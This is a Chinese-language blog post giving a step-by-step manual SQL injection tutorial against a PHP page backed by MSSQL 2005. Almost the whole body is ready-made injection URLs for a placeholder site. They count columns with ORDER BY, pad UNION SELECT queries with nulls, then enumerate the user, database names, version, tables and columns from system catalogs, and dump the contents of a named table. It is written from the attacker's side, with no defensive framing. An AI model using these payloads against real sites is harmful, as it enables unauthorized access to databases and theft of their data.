msgbartop
同一天地间,同一网络下,P9′Blog与您共享今日互联网→WWW.P9.NET.CN
msgbarbottom

php手工注入语句使用

PHP手工注入使用

PHP手工注入使用

比如黑客找到注入点是:http://www.xxx.tk/news.php?id=300数据库类型是mssql2005.要用union查询,先确定有几个字段,使用order by 来完成,就是:http://www.xxx.tk/news.php?id=300 order by 7– 回显正常
http://www.xxx.tk/news.php?id=300 order by 8– 回显失败
说明总共7个字段,然后用null填充
http://www.xxx.tk/news.php?id=300 union all select null,null,null,null,null,null,null–显示正常
变换成不存在的id,前面加负号,或者加上and 1=2的条件,比如
http://www.xxx.tk/news.php?id=99999 union all select null,null,null,null,null,null,null–
确定下哪个位置可以爆出结果,先从第一个null开始变换,直接替换成user,就是:
http://www.xxx.tk/news.php?id=99999 union all select user,null,null,null,null,null,null–
看来运气比较好,当前用户名直接出现在某个可见的位置,要是没显示结果就继续变换位置
那就从这个位置开始暴出我们想要的结果
1.变换id获得库名
http://www.xxx.tk/news.php?id=300 and 1=2 union all select name,null,null,null,null,null,null+from+master.dbo.sysdatabases+where+dbid=1–
2.获得当前库名
http://www.xxx.tk/news.php?id=300 and 1=2 union all select db_name(),null,null,null,null,null,null–
3.获得当前版本
http://www.xxx.tk/news.php?id=300 and 1=2 union all select @@version,null,null,null,null,null,null–
4.变换N获得指定库的表名
http://www.xxx.tk/news.php?id=300 and 1=2 union all select name,null,null,null,null,null,null+from+BugTracker.dbo.sysobjects+where xtype=CHAR(85) and name not in (select top N name from BugTracker.dbo.sysobjects where xtype=CHAR(85))–
5.获得指定库所有列名
(1) 这里的M和获得库名时的N必须一致,不然无法得到正确的库名ID
http://www.xxx.tk/news.php?id=300 and 1=2 union all select ID,null,null,null,null,null,null+from+BugTracker.dbo.sysobjects+where xtype=CHAR(85) and ID not in (select top M ID from BugTracker.dbo.sysobjects where xtype=CHAR(85))–
(2)最后的ID值即是(1)中回显的数值,通过变换N值获得所有列名
http://www.xxx.tk/news.php?id=300 and 1=2 union all select NAME,null,null,null,null,null,null from BugTracker.dbo.syscolumns where ID=53575229 and name not in (select top N name from BugTracker.dbo.syscolumns where ID=53575229)–
6.根据前几步所得结果获得字段内容
http://www.xxx.tk/news.php?id=300 and 1=2 union all select bug_id,null,null,null,null,null,null from BugTracker..mantis_bug_file_table–可自加条件进行查询

Tags:

Leave a Comment

You must be logged in to post a comment.